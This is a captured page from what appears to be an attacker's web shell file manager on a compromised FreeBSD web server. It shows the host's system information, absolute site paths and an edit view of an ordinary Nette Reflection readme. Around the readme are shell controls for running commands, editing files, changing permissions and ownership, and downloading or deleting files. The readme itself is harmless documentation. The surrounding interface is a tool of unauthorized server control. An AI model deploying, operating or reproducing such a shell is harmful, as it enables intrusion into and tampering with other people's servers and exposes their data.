TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
nette
reflection
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/nette/reflection/readme.md
Nette PHP Reflection ==================== [](https://packagist.org/packages/nette/reflection) [](https://travis-ci.org/nette/reflection) [](https://github.com/nette/reflection/releases) [](https://github.com/nette/reflection/blob/master/license.md) If you need to find every information about any class, reflection is the right tool to do it. You can easily find out which methods does any class have, what parameters do those methods accept, etc. `Nette\Object` simplifies access to class' self-reflection with method `getReflection()`, returning a [ClassType | api:Nette\Reflection\ClassType]) object: ```php // getting PDO class reflection $classReflection = new Nette\Reflection\ClassType('PDO'); // getting PDO::query method reflection $methodReflection = new Nette\Reflection\Method('PDO', 'query'); ``` Annotations ----------- Reflection has really a lot to do with annotations. The annotations are written into phpDoc comments (two opening asterisks are mandatory!) and start with `@`. You can annotate classes, variables and methods: ```php /** * @author John Doe * @author Tomas Marny * @secured */ class FooClass { /** @Persistent */ public $foo; /** @User(loggedIn, role=Admin) */ public function bar() {} } ``` In the code there are these annotations: - `@author John Doe` - string, contains text value `'John Doe'` - `@Persistent` - boolean, its presence means `TRUE` - `@User(loggedIn, role=Admin)` - contains associative `array('loggedIn', 'role' => 'Admin')` The existence of a class annotation can be checked via `hasAnnotation()` method: ```php $fooReflection = new Nette\Reflection\ClassType('FooClass'); $fooReflection->hasAnnotation('author'); // returns TRUE $fooReflection->hasAnnotation('copyright'); // returns FALSE ``` Values can be acquired with `getAnnotation()`: ```php $fooReflection->getAnnotation('author'); // returns string 'Tomas Marny' $fooReflection->getMethod('bar')->getAnnotation('User'); // returns array('loggedIn', 'role' => 'Admin') ``` .[caution] Previous definitions are overwritten with the latter ones, sou you will always get the last one. All annotations can be obtained with `getAnnotations()`: ``` array(3) { "author" => array(2) { 0 => string(8) "John Doe" 1 => string(11) "Tomas Marny" } "secured" => array(1) { 0 => bool(TRUE) } } ```
Crotin
Name
Size
Permissions
Modified
User/Group
readme.md
2623
0644
2018-07-10 17:51:52
Unknown/Unknown
license.md
2724
0644
2018-07-10 17:51:52
Unknown/Unknown
contributing.md
1233
0644
2018-07-10 17:51:52
Unknown/Unknown
src
-
0755
2016-01-11 22:52:35
Unknown/Unknown
composer.json
643
0644
2018-07-10 17:51:52
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin